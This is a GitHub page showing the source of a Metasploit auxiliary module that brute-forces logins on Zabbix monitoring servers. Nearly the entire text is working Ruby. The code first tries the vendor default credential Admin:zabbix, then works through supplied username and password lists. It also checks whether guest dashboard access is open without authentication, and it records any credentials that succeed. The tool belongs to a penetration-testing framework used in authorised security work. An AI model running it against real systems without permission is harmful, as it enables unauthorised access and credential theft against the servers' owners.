-
Notifications
You must be signed in to change notification settings - Fork 13.8k
/
zabbix_login.rb
183 lines (163 loc) · 5.75 KB
/
zabbix_login.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'metasploit/framework/login_scanner/zabbix'
require 'metasploit/framework/credential_collection'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Zabbix Server Brute Force Utility',
'Description' => %q{
This module attempts to login to Zabbix server instance using username and password
combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. It
will also test for the Zabbix default login (Admin:zabbix) and guest access.
},
'Author' =>
[
'hdm'
],
'License' => MSF_LICENSE
)
deregister_options('PASSWORD_SPRAY')
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [ true, 'The path to the Zabbix server application', '/zabbix/']),
])
end
#
# main
#
def run_host(ip)
init_loginscanner(ip)
msg = @scanner.check_setup
if msg
print_brute :level => :error, :ip => rhost, :msg => msg
return
end
print_brute :level=>:status, :ip=>rhost, :msg=>("Found Zabbix version #{@scanner.version}")
if is_guest_mode_enabled?
print_brute :level => :good, :ip => ip, :msg => "Note: This Zabbix instance has Guest mode enabled"
else
print_brute :level=>:status, :ip=>rhost, :msg=>("This Zabbix instance has disabled Guest mode")
end
bruteforce(ip)
end
def bruteforce(ip)
@scanner.scan! do |result|
case result.status
when Metasploit::Model::Login::Status::SUCCESSFUL
print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'"
do_report(ip, rport, result)
:next_user
when Metasploit::Model::Login::Status::DENIED_ACCESS
print_brute :level => :status, :ip => ip, :msg => "Correct credentials, but unable to login: '#{result.credential}'"
do_report(ip, rport, result)
:next_user
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
if datastore['VERBOSE']
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
end
invalidate_login(
address: ip,
port: rport,
protocol: 'tcp',
public: result.credential.public,
private: result.credential.private,
realm_key: result.credential.realm_key,
realm_value: result.credential.realm,
status: result.status
)
:abort
when Metasploit::Model::Login::Status::INCORRECT
if datastore['VERBOSE']
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
end
invalidate_login(
address: ip,
port: rport,
protocol: 'tcp',
public: result.credential.public,
private: result.credential.private,
realm_key: result.credential.realm_key,
realm_value: result.credential.realm,
status: result.status
)
end
end
end
def do_report(ip, port, result)
service_data = {
address: ip,
port: port,
service_name: 'http',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: self.fullname,
origin_type: :service,
private_data: result.credential.private,
private_type: :password,
username: result.credential.public,
}.merge(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
last_attempted_at: DateTime.now,
status: result.status
}.merge(service_data)
create_credential_login(login_data)
end
def init_loginscanner(ip)
@cred_collection = build_credential_collection(
username: datastore['USERNAME'],
password: datastore['PASSWORD']
)
# Always try the default first
@cred_collection.prepend_cred(
Metasploit::Framework::Credential.new(public: 'Admin', private: 'zabbix')
)
@scanner = Metasploit::Framework::LoginScanner::Zabbix.new(
configure_http_login_scanner(
uri: datastore['TARGETURI'],
cred_details: @cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 5,
http_username: datastore['HttpUsername'],
http_password: datastore['HttpPassword']
)
)
end
#
# From the documentation:
#
# "In case of five consecutive failed login attempts, Zabbix interface will pause for 30
# seconds in order to prevent brute force and dictionary attacks."
#
# Zabbix enables a Guest mode by default that allows access to the dashboard without auth
def is_guest_mode_enabled?
dashboard_uri = normalize_uri(datastore['TARGETURI'] + '/' + 'dashboard.php')
res = send_request_cgi({'uri'=>dashboard_uri})
if (res && res.code == 200 && res.body.to_s =~ /<title>.*: Dashboard<\/title>/)
return true
else # Otherwise target is most likely a newer version of Zabbix, so lets try the updated URL.
dashboard_uri = normalize_uri(datastore['TARGETURI'] + '/' + 'zabbix.php')
res = send_request_cgi({
'uri' => dashboard_uri,
'vars_get' => { 'action' => 'dashboard.view' }
})
if (res && res.code == 200 && res.body.to_s =~ /<title>.*: Dashboard<\/title>/)
return true
else
return false
end
end
end
end